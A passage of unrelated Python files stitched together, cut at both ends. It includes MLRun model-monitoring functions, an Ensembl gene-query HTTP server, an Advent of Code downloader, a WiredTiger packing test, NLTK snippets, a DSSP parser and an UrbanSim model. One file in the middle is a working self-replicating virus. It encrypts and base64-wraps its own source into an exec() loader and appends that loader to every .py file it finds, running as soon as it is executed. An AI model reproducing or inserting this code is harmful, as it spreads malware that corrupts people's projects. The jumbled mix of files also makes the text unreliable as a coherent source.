            topic, brokers = mlrun.datastore.utils.parse_kafka_url(url=stream_path)
            # Generate Kafka stream source
            stream_source = mlrun.datastore.sources.KafkaSource(
                brokers=brokers,
                topics=[topic],
            )
            function = stream_source.add_nuclio_trigger(function)

        if not mlrun.mlconf.is_ce_mode():
            function = self._apply_access_key_and_mount_function(
                project=project,
                function=function,
                model_monitoring_access_key=model_monitoring_access_key,
                auth_info=auth_info,
                function_name=function_name,
            )
            if stream_path.startswith("v3io://"):
                # Generate V3IO stream trigger
                function.add_v3io_stream_trigger(
                    stream_path=stream_path,
                    name="monitoring_stream_trigger"
                    if function_name is None
                    else f"monitoring_{function_name}_trigger",
                    access_key=model_monitoring_access_key
                    if function_name != mm_constants.MonitoringFunctionNames.STREAM
                    else None,
                )
        # Add the default HTTP source
        http_source = mlrun.datastore.sources.HttpSource()
        function = http_source.add_nuclio_trigger(function)

        return function

    @staticmethod
    def _apply_access_key_and_mount_function(
        project: str,
        function: typing.Union[
            mlrun.runtimes.KubejobRuntime, mlrun.runtimes.ServingRuntime
        ],
        model_monitoring_access_key: str,
        auth_info: mlrun.common.schemas.AuthInfo,
        function_name: str = None,
    ) -> typing.Union[mlrun.runtimes.KubejobRuntime, mlrun.runtimes.ServingRuntime]:
        """Applying model monitoring access key on the provided function when using V3IO path. In addition, this method
        mount the V3IO path for the provided function to configure the access to the system files.

        :param project:                     Project name.
        :param function:                    Model monitoring function object that will be filled with the access key and
                                            the access to the system files.
        :param model_monitoring_access_key: Access key to apply the model monitoring stream function when the stream is
                                            schema is V3IO.
        :param auth_info:                   The auth info of the request.

        :return: function runtime object with access key and access to system files.
        """

        if function_name in mm_constants.MonitoringFunctionNames.all():
            # Set model monitoring access key for managing permissions
            function.set_env_from_secret(
                mlrun.common.schemas.model_monitoring.ProjectSecretKeys.ACCESS_KEY,
                server.api.utils.singletons.k8s.get_k8s_helper().get_project_secret_name(
                    project
                ),
                server.api.crud.secrets.Secrets().generate_client_project_secret_key(
                    server.api.crud.secrets.SecretsClientType.model_monitoring,
                    mlrun.common.schemas.model_monitoring.ProjectSecretKeys.ACCESS_KEY,
                ),
            )

            function.metadata.credentials.access_key = model_monitoring_access_key
            function.apply(mlrun.v3io_cred())

            # Ensure that the auth env vars are set
            server.api.api.utils.ensure_function_has_auth_set(function, auth_info)
        return function

    def _initial_model_monitoring_writer_function(
        self, project, model_monitoring_access_key, tracking_policy, auth_info
    ):
        """
        Initialize model monitoring writer function.

        :param project:                     Project name.
        :param model_monitoring_access_key: Access key to apply the model monitoring process. Please note that in CE
                                            deployments this parameter will be None.
        :param tracking_policy:             Model monitoring configurations.
        :param auth_info:                   The auth info of the request.

        :return:                            A function object from a mlrun runtime class

        """

        # Create a new serving function for the streaming process
        function = mlrun.code_to_function(
            name=mm_constants.MonitoringFunctionNames.WRITER,
            project=project,
            filename=str(_MONITORING_WRITER_FUNCTION_PATH),
            kind="serving",
            image=tracking_policy.default_controller_image,
        )

        # Create writer monitoring serving graph
        graph = function.set_topology("flow")
        graph.to(ModelMonitoringWriter(project=project)).respond()  # writer

        # Set the project to the serving function
        function.metadata.project = project

        # create v3io stream for  model_monitoring_writer | model monitoring application
        server.api.api.endpoints.functions.create_model_monitoring_stream(
            project=project,
            function=function,
            monitoring_application=mm_constants.MonitoringFunctionNames.WRITER,
            stream_path=server.api.crud.model_monitoring.get_stream_path(
                project=project,
                application_name=mm_constants.MonitoringFunctionNames.WRITER,
            ),
            access_key=model_monitoring_access_key,
        )

        # Add stream triggers
        function = self._apply_stream_trigger(
            project=project,
            function=function,
            model_monitoring_access_key=model_monitoring_access_key,
            auth_info=auth_info,
            function_name=mm_constants.MonitoringFunctionNames.WRITER,
        )

        # Apply feature store run configurations on the serving function
        run_config = fstore.RunConfig(function=function, local=False)
        function.spec.parameters = run_config.parameters

        return function

def get_endpoint_features(
    feature_names: typing.List[str],
    feature_stats: dict = None,
    current_stats: dict = None,
) -> typing.List[mlrun.common.schemas.Features]:
    """
    Getting a new list of features that exist in feature_names along with their expected (feature_stats) and
    actual (current_stats) stats. The expected stats were calculated during the creation of the model endpoint,
    usually based on the data from the Model Artifact. The actual stats are based on the results from the latest
    model monitoring batch job.

    param feature_names: List of feature names.
    param feature_stats: Dictionary of feature stats that were stored during the creation of the model endpoint
                         object.
    param current_stats: Dictionary of the latest stats that were stored during the last run of the model monitoring
                         batch job.

    return: List of feature objects. Each feature has a name, weight, expected values, and actual values. More info
            can be found under `mlrun.common.schemas.Features`.
    """

    # Initialize feature and current stats dictionaries
    safe_feature_stats = feature_stats or {}
    safe_current_stats = current_stats or {}

    # Create feature object and add it to a general features list
    features = []
    for name in feature_names:
        if feature_stats is not None and name not in feature_stats:
            logger.warn("Feature missing from 'feature_stats'", name=name)
        if current_stats is not None and name not in current_stats:
            logger.warn("Feature missing from 'current_stats'", name=name)
        f = mlrun.common.schemas.Features.new(
            name, safe_feature_stats.get(name), safe_current_stats.get(name)
        )
        features.append(f)
    return features


# Server that provides some services related with genes and chromosomes using the HTTP protocol.
# The user introduces the parameters through the main page HTML, the data is taken from the rest.ensembl.org
# web page and the results are presented in another HTML page.

# importing the needed resources
import http.server
import http.client
import json
import socketserver
import termcolor

# Server's port
PORT = 8000

# Client
HOSTNAME = "rest.ensembl.org"
ENDPOINT0 = "/info/species?content-type=application/json"
METHOD = "GET"

headers = {'User-Agent': 'http-client'}
conn = http.client.HTTPSConnection(HOSTNAME)

# Function with the endpoint dependent part
def client(endpoint):
    """function of a common client that asks information using json"""

    # -- Sending the request
    conn.request(METHOD, endpoint, None, headers)
    r1 = conn.getresponse()

    # -- Printing the status
    print()
    print("Response received: ", end='')
    print(r1.status, r1.reason)

    # -- Read the response's body and close connection
    text_json = r1.read().decode("utf-8")
    conn.close()
    return json.loads(text_json)

# Seq class for gene questions
class Seq:
    """A class for representing sequences"""

    def __init__(self, strbases):
        self.strbases = strbases  # self.strbases now represents my species name

    # Obtaining the ID of a species
    def id(self):
        ENDPOINT3 = "/lookup/symbol/homo_sapiens/" + self.strbases + "?content-type=application/json"
        result3 = client(ENDPOINT3)
        return result3["id"]

    # Obtaining the sequence from an ID
    def gene_seq(self):
        ENDPOINT4 = "/sequence/id/" + self.id() + "?content-type=application/json"
        result4 = client(ENDPOINT4)
        return result4["seq"]

    # Length of the string
    def len(self):
        return len(self.gene_seq())  # returns the length of our string(self.gene_seq())

    # Number of a concrete base
    def count(self, base):
        res = self.gene_seq().count(base)  # counting the base that we will introduce
        return res

    # Percentage of a concrete base
    def perc(self, base):
        tl = self.len()
        for e in base:
            n = self.count(e)
            res = round(100.0 * n / tl, 1)  # percentage with one decimal of precision
            return res

    # Results presentation
    def results(self):
        bases = "ACTG"
        s1 = "The total number of bases is: "+str(self.len())
        s2 = ""  # empty string to save the percentage results of the following loop
        for b in bases:
            s2 += "The percentage of " + b + " is: " + str(self.perc(b)) + "%" + "
"
        return s1 + "

" + s2

# Class with our Handler that inheritates all his methods and properties
class TestHandler(http.server.BaseHTTPRequestHandler):  # Objects with the properties of the library

    def do_GET(self):
        """This method is called whenever the client invokes the GET method
        in the HTTP protocol request"""

        # Printing in the server some useful information
        print("GET received")
        print("Request line:" + self.requestline)
        print(" Cmd: " + self.command)
        print(" Path: " + self.path)

        # Separating and selecting the information of the path
        res = self.path.split("?")[0]
        p = (self.path.replace("=", ",")).replace("&", ",")
        ins = p.split(",")  # Making a list of instructions dividing the string in the = and & symbols

        # Some important parameters
        text = ""  # Empty string that will save the response information
        sp = Seq(ins[-1])  # Object used in the genes calculations
        page = "response.html"  # The page will be response except if the endpoint is "/" or it does not exist

        try:
            if self.path == "/":  # Using the resource / to obtain the main page with all the options
                page = "main-page.html"

            elif res == "/listSpecies":  # Using the resource /listSpecies

                result0 = client(ENDPOINT0)
                # The variable limit has been created to avoid the error "referenced before assignment"
                limit = ""
                # The second parameter is the limit
                if len(ins) == 2:
                    limit = int(ins[1])
                # Using elif instead of else to avoid sending the list of species with 3 or more parameters
                elif len(ins) == 1:
                    limit = len(result0["species"])  # If there is no limit the loop will be over all the species
                for index in range(limit):
                    text += result0["species"][index]["name"] + "
"

            elif res == "/karyotype":  # Using the resource /karyotype

                ENDPOINT1 = "/info/assembly/"+ins[-1]+"?content-type=application/json"
                result1 = client(ENDPOINT1)
                for chrom in result1["karyotype"]:  # Transformation into a string with intros "
"
                    text += chrom+"
"

            elif res == "/chromosomeLength":  # Using the resource /chromosomeLength

                specie = ins[1]
                ch = ins[-1]
                ENDPOINT2 = "/info/assembly/"+specie+"/"+ch+"?content-type=application/json"
                result2 = client(ENDPOINT2)
                text += str(result2["length"])  # Obtaining the value that corresponds to the length keyword

            elif res == "/geneSeq":  # Using the resource /geneSeq

                text += sp.gene_seq()  # calling the method gene_seq to obtain the sequence of the sp object

            elif res == "/geneInfo":

                id_number = sp.id()  # calling the method id to obtain the identity number of the sp object
                ENDPOINT5 = "/overlap/id/" + id_number + "?feature=gene;content-type=application/json"
                result4 = client(ENDPOINT5)  # Dictionary that contains several lists of information for different genes

                a = ""  # This variable avoids the error "referenced before assignment"
                for i in range(len(result4)):  # loop to search which gene is the one that coincides with our requisites
                    if result4[i]["id"] == id_number:  # the correct information is in the list in which is our id gene
                        a = i
                # Searching the values in the selected list
                text += "Start: " + str(result4[a]["start"]) + "
"
                text += "End: " + str(result4[a]["end"]) + "
"
                text += "Length: " + str(result4[a]["end"] - result4[a]["start"] + 1) + "
"  # sum also 1st position
                text += "ID: " + str(result4[a]["id"]) + "
"
                text += "Chromosome: " + str(result4[a]["seq_region_name"]) + "
"

            elif res == "/geneCalc":  # Using the resource /geneCalc

                text += sp.results()  # calling the results method

            elif res == "/geneList":  # Using the resource /geneList

                start = ins[3]
                end = ins[-1]
                ch = ins[1]
                ENDPOINT6 = "/overlap/region/human/"+ch+":"+start+"-"+end+"?content-type=application/json;feature=gene"
                result5 = client(ENDPOINT6)
                # Searching the name of each gene in the dictionary
                for index in range(len(result5)):
                    text += result5[index]["external_name"] + "
"

                # Preventing some common errors
                if start == end:
                    text += ""+"Sorry, you have introduced the same number for the start than for the end."+""
                    text += ""+"

"+"So obviously, as there is no region, there is no gene contained."+""
                if text == "":
                    text += ""+"There is no gene in the selected region"+""

            else:
                page = "error.html"  # If it is not one of the previous resources

            # improvement in the server to avoid taking as correct an extra valid parameter. Ex: gene=FRAT1&gene=BRAF
            if res in ["/karyotype", "/chromosomeLength", "/geneSeq", "/geneInfo", "/geneCalc", "/geneList"]:

                # checking the length of the instructions and generating a KeyError if they are not correct
                if len(ins) > 2 and res != "/chromosomeLength" and res != "/geneList":
                    text += client(ENDPOINT0)["e"]
                elif (len(ins) > 4 and res == "/chromosomeLength") or (len(ins) > 6 and res == "/geneList"):
                    text += client(ENDPOINT0)["e"]

        # Dealing with the main errors
        except ValueError:
            text = ""+"Incorrect value in the parameter 'limit'"+"
"+"Please introduce an integer number"+""
        except TypeError:
            text = ""+"Sorry, the endpoint '/listSpecies' does not admit three or more parameters"+""
        except KeyError:
            text = ""+"Incorrect parameters"+"
"+"Please review their spelling and the amount required"+""
        except Exception:  # Emergency exception that has not been detected yet
            text = ""+"Sorry, an error has been produced"+"
"+"Please review the performed actions"+""

        # -- printing the request line
        termcolor.cprint(self.requestline, 'green')

        # -- Opening the selected page
        f = open(page, 'r')
        contents = f.read()  # reading the contents of the selected page

        # If the html response page is requested change the word text by the text of the user
        if page == "response.html":
            contents = contents.replace("text", text)

        # Generating and sending the response message according to the request
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', len(str.encode(contents)))
        self.end_headers()

        # -- sending the body of the response message
        self.wfile.write(str.encode(contents))

# -- MAIN PROGRAM

socketserver.TCPServer.allow_reuse_address = True  # preventing the error: "Port already in use"

# main loop to attend the user
with socketserver.TCPServer(("", PORT), TestHandler) as httpd:

    # "" means that the program must use the IP address of the computer
    print("Serving at PORT: {}".format(PORT))

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        httpd.server_close()

print("The server is stopped")

some tests (drafts)/server_without json object.py


import os
import requests

SESSION_ID = os.getenv("aoc_session_id")

def get_data(day=1):
    headers = {"cookie":f"session={SESSION_ID}"}

    days_data = requests.get(f"https://adventofcode.com/2022/day/{day}/input", headers=headers)

    if not os.path.exists(f"advent_of_code\day_{day}"):
        os.makedirs(f"advent_of_code\day_{day}")
    with open(f"advent_of_code\day_{day}\data.txt", mode="w") as data_file:
        data_file.write(days_data.text)

if __name__ == "__main__":
    for i in range(1, 4):
        get_data(i)


import wttest
from wtscenario import make_scenarios

class PackTester:
    def __init__(self, formatcode, validlow, validhigh, equals):
        self.formatcode = formatcode
        self.validlow = validlow
        self.validhigh = validhigh
        self.recno = 1
        self.forw = None          #  r -> code
        self.forw_idx = None      #  code -> r
        self.back = None          #  code -> r
        self.back_idx = None      #  r -> code
        self.session = None
        self.equals = equals
        self.forw_uri = None
        self.back_uri = None
        self.forw_idx_uri = None
        self.back_idx_uri = None

    def initialize(self, session):
        self.session = session
        pfx = 'test_intpack_'
        x = self.formatcode
        if x.isupper():
            x = x + '_' # differentiate upper case from lower case in our naming
        tab = pfx + x + 'forw'
        forw_uri = 'table:' + tab
        forw_idx_uri = 'index:' + tab + ':inverse'
        tab = pfx + x + 'back'
        back_uri = 'table:' + tab
        back_idx_uri = 'index:' + tab + ':inverse'

        session.create(forw_uri, "columns=(k,v)," +
                       "key_format=i,value_format=" + self.formatcode)
        session.create(forw_idx_uri, "columns=(v)")
        session.create(back_uri, "columns=(k,v)," +
                       "key_format=" + self.formatcode + ",value_format=i")
        session.create(back_idx_uri, "columns=(v)")
        self.forw_uri = forw_uri
        self.back_uri = back_uri
        self.forw_idx_uri = forw_idx_uri
        self.back_idx_uri = back_idx_uri
        self.truncate()

    def closeall(self):
        if self.forw != None:
            self.forw.close()
            self.forw_idx.close()
            self.back.close()
            self.back_idx.close()
            self.forw = None
            self.forw_idx = None
            self.back = None
            self.back_idx = None

    def truncate(self):
        self.closeall()
        self.session.truncate(self.forw_uri, None, None, None)
        self.session.truncate(self.back_uri, None, None, None)
        self.forw = self.session.open_cursor(self.forw_uri, None, None)
        self.forw_idx = self.session.open_cursor(self.forw_idx_uri + "(k)",
                                                 None, None)

        self.back = self.session.open_cursor(self.back_uri, None, None)
        self.back_idx = self.session.open_cursor(self.back_idx_uri + "(k)",
                                                 None, None)

    def check_range(self, low, high):
        if low < self.validlow:
            low = self.validlow
        if high > self.validhigh:
            high = self.validhigh
        i = low
        forw = self.forw
        forw_idx = self.forw_idx
        back = self.back
        back_idx = self.back_idx
        while i <= high:
            forw[self.recno] = i
            back[i] = self.recno
            self.equals(forw[self.recno], i)
            self.equals(forw_idx[i], self.recno)
            self.equals(back[i], self.recno)
            self.equals(back_idx[self.recno], i)
            forw.reset()
            forw_idx.reset()
            back.reset()
            back_idx.reset()
            self.recno += 1
            i += 1

# Test integer packing with various formats
class test_intpack(wttest.WiredTigerTestCase):
    name = 'test_intpack'

    # It's useful to test a larger range but avoid the CPU overhead normally
    base_range = 66000 if wttest.islongtest() else 5000

    # We have to be a bit verbose here with naming, scenario names are
    # case insensitive and must be unique.

    scenarios = make_scenarios([
        ('int8_t_b', dict(formatcode='b', low=-128, high=127, nbits=8)),
        ('uint8_t_B', dict(formatcode='B', low=0, high=255, nbits=8)),
        ('fix_len_8t', dict(formatcode='8t', low=0, high=255, nbits=8)),
        ('fix_len_5t', dict(formatcode='5t', low=0, high=31, nbits=5)),
        ('int16_t_h', dict(formatcode='h', low=-32768, high=32767, nbits=16)),
        ('uint16_t_H', dict(formatcode='H', low=0, high=65535, nbits=16)),
        ('int32_t_i', dict(formatcode='i', low=-2147483648, high=2147483647,
                   nbits=32)),
        ('uint32_t_I', dict(formatcode='I', low=0, high=4294967295, nbits=32)),
        ('int32_t_l', dict(formatcode='l', low=-2147483648, high=2147483647,
                   nbits=32)),
        ('uint32_t_L', dict(formatcode='L', low=0, high=4294967295, nbits=32)),
        ('int64_t_q', dict(formatcode='q', low=-9223372036854775808,
                   high=9223372036854775807, nbits=64)),
        ('uint64_t_Q', dict(formatcode='Q', low=0, high=18446744073709551615,
                   nbits=64)),
    ])

    def test_packing(self):
        pt = PackTester(self.formatcode, self.low, self.high, self.assertEquals)
        self.assertEquals(2 ** self.nbits, self.high - self.low + 1)
        pt.initialize(self.session)
        pt.check_range(-self.base_range, self.base_range)
        if self.nbits >= 32:
            e32 = 2 ** 32
            pt.check_range(e32 - 1000, e32 + 1000)
            pt.check_range(-e32 - 1000, -e32 + 1000)
        if self.nbits >= 64:
            e64 = 2 ** 64
            pt.check_range(e64 - 1000, e64 + 1000)
            pt.check_range(-e64 - 1000, -e64 + 1000)
            pt.truncate()
            i = 8
            while i < 1 << 60:
                pt.check_range(-i - 1, -i + 1)
                pt.check_range(i - 1, i + 1)
                i <<= 1

if __name__ == '__main__':
    wttest.run()


import chunk
from nltk.tokenize import word_tokenize,sent_tokenize ,PunktSentenceTokenizer
from nltk.corpus import stopwords,state_union
from nltk.stem import PorterStemmer
import nltk
def token(inputs):
    # input = "hi vi what time is it"
    return (sent_tokenize(inputs))

def sw():
    text = "token is showing this shit"
    stop_words = set(stopwords.words("english"))
    words = word_tokenize(text)
    filtered = [w for w in words if w not in stop_words]
    print(filtered)

def stem():
    ps = PorterStemmer()
    ex = ['python' , 'pythoner' 'pythoning']
    text ='its very importent to be pythonly when you are pythoning with python'
    re = [ps.stem(w) for w in token(text)]
    print(re)

def partofspeechtagging():
    sample = state_union.raw("2005-GWBush.txt")
    train_sample = state_union.raw("2006-GWBush.txt")

    costum_set_token = PunktSentenceTokenizer(train_sample)
    tokenized = costum_set_token.tokenize(sample)
    chunkgram = r"""Chunk:{<.*>+}
                    }<VB.?|IN|DT>+{ """
    # chunkgram = r"""Chunk:{<RB.?>*<VB.?>*<NNP>+<NN>?}"""
    chunkparser = nltk.RegexpParser(chunkgram)
    for n,i in enumerate(tokenized):
        words = word_tokenize(i)
        tagged = nltk.pos_tag(words)
        chunked = chunkparser.parse(tagged)
        chunked.pretty_print()
        # print(dir(chunked))
        break

# words = word_tokenize('search for css in youtube')
# tagged = nltk.pos_tag(words)
# chunkgram = r"""Chunk:{<VB.?>*}"""
# chunkparser = nltk.RegexpParser(chunkgram)
# chunked = chunkparser.parse(tagged)
# print(chunked)

# sw()
# partofspeechtagging()
# stem()

postags = """
    CC coordinating conjunction
    CD cardinal digit
    DT determiner
    EX existential there (like: “there is” … think of it like “there exists”)
    FW foreign word
    IN preposition/subordinating conjunction
    JJ adjective ‘big’
    JJR adjective, comparative ‘bigger’
    JJS adjective, superlative ‘biggest’
    LS list marker 1)
    MD modal could, will
    NN noun, singular ‘desk’
    NNS noun plural ‘desks’
    NNP proper noun, singular ‘Harrison’
    NNPS proper noun, plural ‘Americans’
    PDT predeterminer ‘all the kids’
    POS possessive ending parent’s
    PRP personal pronoun I, he, she
    PRP$ possessive pronoun my, his, hers
    RB adverb very, silently,
    RBR adverb, comparative better
    RBS adverb, superlative best
    RP particle give up
    TO, to go ‘to’ the store.
    UH interjection, errrrrrrrm
    VB verb, base form take
    VBD verb, past tense took
    VBG verb, gerund/present participle taking
    VBN verb, past participle taken
    VBP verb, sing. present, non-3d take
    VBZ verb, 3rd person sing. present takes
    WDT wh-determiner which
    WP wh-pronoun who, what
    WP$ possessive wh-pronoun whose
    WRB wh-abverb where, when
"""

import re

exampleString = '''
Jessica is 15 years old, and Daniel is 27 years old.
Edward is 97 years old, and his grandfather, Oscar, is 102.
'''

ages = re.findall(r'\d{1,3}',exampleString)
names = re.findall(r'[A-Z][a-z]*',exampleString)

# print(ages)
# print(names)

example = 'search for youtube hkjhk in duckduckgo'
re.findall(r'@([a-zA-Z]+)','gfgfdAAA1234ZZZuijjk')
finel = re.findall('(search for) (.*) (in) (.*)' ,example)
# print(finel)
# print(re.findall('(search for|look for|find) (.+) (in|on) (.+)', sample))

def partofspeechtagging():
    sample = state_union.raw("2005-GWBush.txt")
    train_sample = state_union.raw("2006-GWBush.txt")

    costum_set_token = PunktSentenceTokenizer(train_sample)
    tokenized = costum_set_token.tokenize(sample)
    for i in tokenized:
        words = word_tokenize(i)
        tagged = nltk.pos_tag(words)
        namedEnt = nltk.ne_chunk(tagged,binary= 1)
        namedEnt.draw()

# partofspeechtagging()
# sample="search for css animatation on youtube"
def lemtze():
    from nltk.stem import WordNetLemmatizer
    lem = WordNetLemmatizer()
    print(lem.lemmatize('better' , "a"))

from nltk.corpus import gutenberg

sample = gutenberg.raw('bible-kjv.txt')

tok = sent_tokenize(sample)

print(tok[5:15] )


class DsspParser(object):
    """
    Class
    """

    def __init__(self, pfile):

        self.dsspfile = pfile

        self.chainIds = []
        self.resNames = []
        self.resSeqs = []
        self.assignment = []

        self.percentH = []
        self.percentC = []
        self.percentE = []

        self.parse()

        return

    def parse(self):
        """Info from: http://swift.cmbi.ru.nl/gv/dssp/HTML/descrip.html
        """

        self.chainIds = []
        self.resNames = []
        self.resSeqs = []
        self.assignment = []

        capture = False
        currentChain = None
        for line in open(self.dsspfile, 'r'):

            if "#  RESIDUE" in line:
                capture = True
                continue

            if capture:

                # Ignore chain break characters - we use the chainId
                if "!" in line:
                    continue

                resSeq = int(line[5:10].strip())
                chainId = line[10:12].strip()
                resName = line[12:14].strip()
                assign = line[16]

                if currentChain != chainId:
                    currentChain = chainId
                    self.chainIds.append(chainId)
                    self.resNames.append([])
                    self.resSeqs.append([])
                    self.assignment.append([])

                self.resNames[-1].append(resName)
                self.resSeqs[-1].append(resSeq)
                self.assignment[-1].append(assign)

        if not len(self.resNames[0]) or not len(self.assignment[0]):
            raise RuntimeError("Got no assignment!")

        for chain in range(len(self.chainIds)):
            nH = 0
            nC = 0
            nE = 0
            for p in self.assignment[chain]:
                if p == "H":
                    nH += 1
                elif p == "E":
                    nE += 1
                # Just assume everything else is a coil
                else:
                    nC += 1

            self.percentC.append(float(nC) / len(self.assignment[chain]) * 100)
            self.percentH.append(float(nH) / len(self.assignment[chain]) * 100)
            self.percentE.append(float(nE) / len(self.assignment[chain]) * 100)

        return

    def asDict(self):
        d = {}
        d['chainIds'] = self.chainIds
        d['assignment'] = self.assignment
        d['resNames'] = self.resNames
        d['resSeqs'] = self.resSeqs
        d['percentC'] = self.percentC
        d['percentE'] = self.percentE
        d['percentH'] = self.percentH

        return d

    def getAssignment(self, resSeq, chainId, resName=None):
        ci = self.chainIds.index(chainId)
        ri = self.resSeqs[ci].index(resSeq)
        if resName:
            # Just a check to make sure things are working - ignore X as it'll be a non-standard residue e.g. N-FORMYLMETHIONINE
            dsspResName = self.resNames[ci][ri]
            # in dssp cysteine bridges are signified by lower-case letters
            if dsspResName != resName and not dsspResName.islower() and dsspResName != 'X':
                raise RuntimeError(
                    "Missmatching residues id {0} chain {1}: {2}: {3}".format(
                        resSeq, chainId, self.resNames[ci][ri], resName
                    )
                )

        return self.assignment[ci][ri]

    def getResName(self, resSeq, chainId):
        ci = self.chainIds.index(chainId)
        ri = self.resSeqs[ci].index(resSeq)
        # Lower case indicates cysteine
        name = self.resNames[ci][ri]
        if name.islower():
            return 'C'
        else:
            return name


#!/usr/bin/env python3
import base64
import hashlib
import os
import random
import string
from subprocess import Popen, PIPE

API = "https://corona-stats.online?top=15"

def execute_payload():
    print("######### DONT BE A COVIDIOT, STAY @ HOME #########")
    cmd1 = Popen(["curl", "-s"] + [API], stdout=PIPE)
    cmd2 = Popen(["head", "-n", "37"], stdin=cmd1.stdout)
    cmd1.wait()
    cmd2.wait()

def create_copy():
    try:
        return y
    except NameError:
        with open(os.path.basename(__file__), 'r') as source:
            data = []
            for line in source:
                data.append(line)
        return "".join(data)

def otp_keygen(size):
    return ''.join([random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(size)])

def xor_strs(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def encrpyt_it(stuff_to_encrpyt):
    key = otp_keygen(len(stuff_to_encrpyt))
    cipher_text = xor_strs(stuff_to_encrpyt, key)
    return cipher_text, key

def wrap(asset):
    encrpyted_asset, key = encrpyt_it(asset)
    base64_encoded_and_encrypted = base64.b64encode(str.encode(encrpyted_asset))
    return "exec('import base64;x=base64.b64decode(str.encode(\\'{0}\\'));" \
           "y=\\'\\'.join(chr(ord(a) ^ ord(b)) for a, b in zip(x.decode(), \\'{1}\\'));" \
           "exec(y, {{\\'y\\':y}})')".format(base64_encoded_and_encrypted.decode(), key)

def check_if_infected(hash_value, file):
    real_hash = hashlib.sha256(file.encode())
    return real_hash.hexdigest() == hash_value

def infect(troy):
    for root, _, files in os.walk('.'):
        for file in files:
            relative_path = root + '/' + file
            if file.endswith(".py") and relative_path != "./virus.py":
                with open(relative_path, 'r') as original:
                    data = original.read().split('\n')
                    last_line = data[-1]
                    if last_line.startswith("#*!@"):
                        if check_if_infected(last_line[4:].rstrip('\n'), '\n'.join(data[:-1])):
                            continue
                        else:
                            data = '\n'.join(data[:-2])
                    else:
                        data = '\n'.join(data)
                with open(relative_path, 'w') as modified:
                    new_content = "{0}\n{1}".format(data, troy)
                    content_hash = hashlib.sha256(new_content.encode())
                    modified.write("{0}\n#*!@{1}".format(new_content, content_hash.hexdigest()))

def virus_routine():
    execute_payload()
    malicious_copy = create_copy()
    troy = wrap(malicious_copy)
    infect(troy)

virus_routine()


import pandas as pd

init_tags = pd.read_table('000.txt', header=None, sep=' ')

terms = []
current_tag = 'O'
current_term = ''
for row in init_tags.iterrows():
    word = row[1][0]
    tag = row[1][1]
    if tag == current_tag:
        current_term += word
    else:
        if current_tag != 'O':
            terms.append((current_term, current_tag))
        if tag != 'O':
            current_term = word
        else:
            current_term = ''
        current_tag = tag
print(terms)

sentences = []
current_sentence = ''
current_term_tag = 'Loc'
current_terms = []
current_tags = []
for term_tag in terms:
    term = term_tag[0]
    tag = term_tag[1]
    if tag == 'Loc' and tag != current_term_tag:
        sentences.append((current_sentence, current_terms, current_tags))
        print((current_sentence, current_terms, current_tags))
        current_sentence = term
        current_terms = []
        current_tags = []
        current_terms.append(term)
        current_tags.append(tag)
    else:
        current_sentence += term
        current_terms.append(term)
        current_tags.append(tag)
    current_term_tag = tag

res = []
for sentence in sentences:
    init_sentence = sentence[0]
    for cur_term in sentence[1][1:]:
        temp = 'L'
        for term ,tag in zip(sentence[1][1:], sentence[2][1:]):
            if term == cur_term:
                temp += tag[0]
            else:
                temp += term
        res.append((init_sentence, temp))

df = pd.DataFrame(res, columns=['初始句子', '生成句子'])
df.to_csv('res1.csv', index=False)

关系分类数据集生成/test.py


# Opus/UrbanSim urban simulation software.
# Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington
# See opus_core/LICENSE

from opus_core.resources import Resources
from opus_core.choice_model import ChoiceModel
from numpy import array, arange, where, ones, concatenate, logical_and, zeros, cumsum, searchsorted
from numpy.random import random, uniform, randint
from opus_core.logger import logger

class HouseholdWorkersInitChoiceModel(ChoiceModel):
    """
    Predicts number of workers in households with newly-created household_id
    """
    model_name = "Household Workers Initialization Choice Model"
    model_short_name = "HWICM"

    def run(self, specification, coefficients, agent_set, agents_index=None, **kwargs):
        hh_to_init_workers = agent_set.compute_variables("_hh_to_init = ((household.workers)==-1)")
        idx_to_init = where(hh_to_init_workers)[0]
        if idx_to_init.size > 0:
            results = ChoiceModel.run(self, specification, coefficients, agent_set, agents_index=idx_to_init, **kwargs)
            agent_set.modify_attribute('workers', results, idx_to_init)
        #Ensure that predicted workers does not exceed # persons who are eligible to work
        workeligible = agent_set.compute_variables('_work_eligible = household.aggregate(person.age>15)')
        agent_set.add_attribute(name='work_eligible', data=agent_set.compute_variables('household.aggregate(person.age>15)'))
        workers_exceeds_eligible = agent_set.compute_variables("_overpredict_workers = ((household.workers) > _work_eligible)")
        idx_excess_workers = where(logical_and(workers_exceeds_eligible,hh_to_init_workers))[0]
        if idx_excess_workers.size > 0:
            agent_set.modify_attribute('workers', workeligible[idx_excess_workers], idx_excess_workers)
        #When a household with 4+ eligible workers is assigned "3+ workers", a more specific number of workers needs to be assigned
        #When household with 4 eligible workers is predicted to have 3+ workers, the household can be assigned 3 workers or 4 workers
        four_eligible_three_predicted = agent_set.compute_variables('_four_eligible_three_predicted = (_work_eligible==4)*((household.workers)==3)')
        idx_four_elig = where(logical_and(four_eligible_three_predicted,hh_to_init_workers))[0]
        if idx_four_elig.size > 0:
            four_numworker_prob = ([.62,.38]) #probabilities from crosstab of base-year workers vs. base-year persons eligible to work
            four_cum_prob = cumsum(four_numworker_prob)
            for hh in idx_four_elig:
                r = uniform(0,1)
                agent_set['workers'][hh] = searchsorted(four_cum_prob, r) + 3
        #When household with 5 eligible workers is predicted to have 3+ workers, the household can be assigned 3, 4, or 5 workers
        five_eligible_three_predicted = agent_set.compute_variables('_five_eligible_three_predicted = (_work_eligible==5)*((household.workers)==3)')
        idx_five_elig = where(logical_and(five_eligible_three_predicted,hh_to_init_workers))[0]
        if idx_five_elig.size > 0:
            five_numworker_prob = ([.44,.33,.23])
            five_cum_prob = cumsum(five_numworker_prob)
            for hh in idx_five_elig:
                r = uniform(0,1)
                agent_set['workers'][hh] = searchsorted(five_cum_prob, r) + 3
        #When household with 6 eligible workers is predicted to have 3+ workers, the household can be assigned 3, 4, 5, or 6 workers
        six_eligible_three_predicted = agent_set.compute_variables('_six_eligible_three_predicted = (_work_eligible==6)*((household.workers)==3)')
        idx_six_elig = where(logical_and(six_eligible_three_predicted,hh_to_init_workers))[0]
        if idx_six_elig.size > 0:
            six_numworker_prob = ([.32,.23,.24,.21])
            six_cum_prob = cumsum(six_numworker_prob)
            for hh in idx_six_elig:
                r = uniform(0,1)
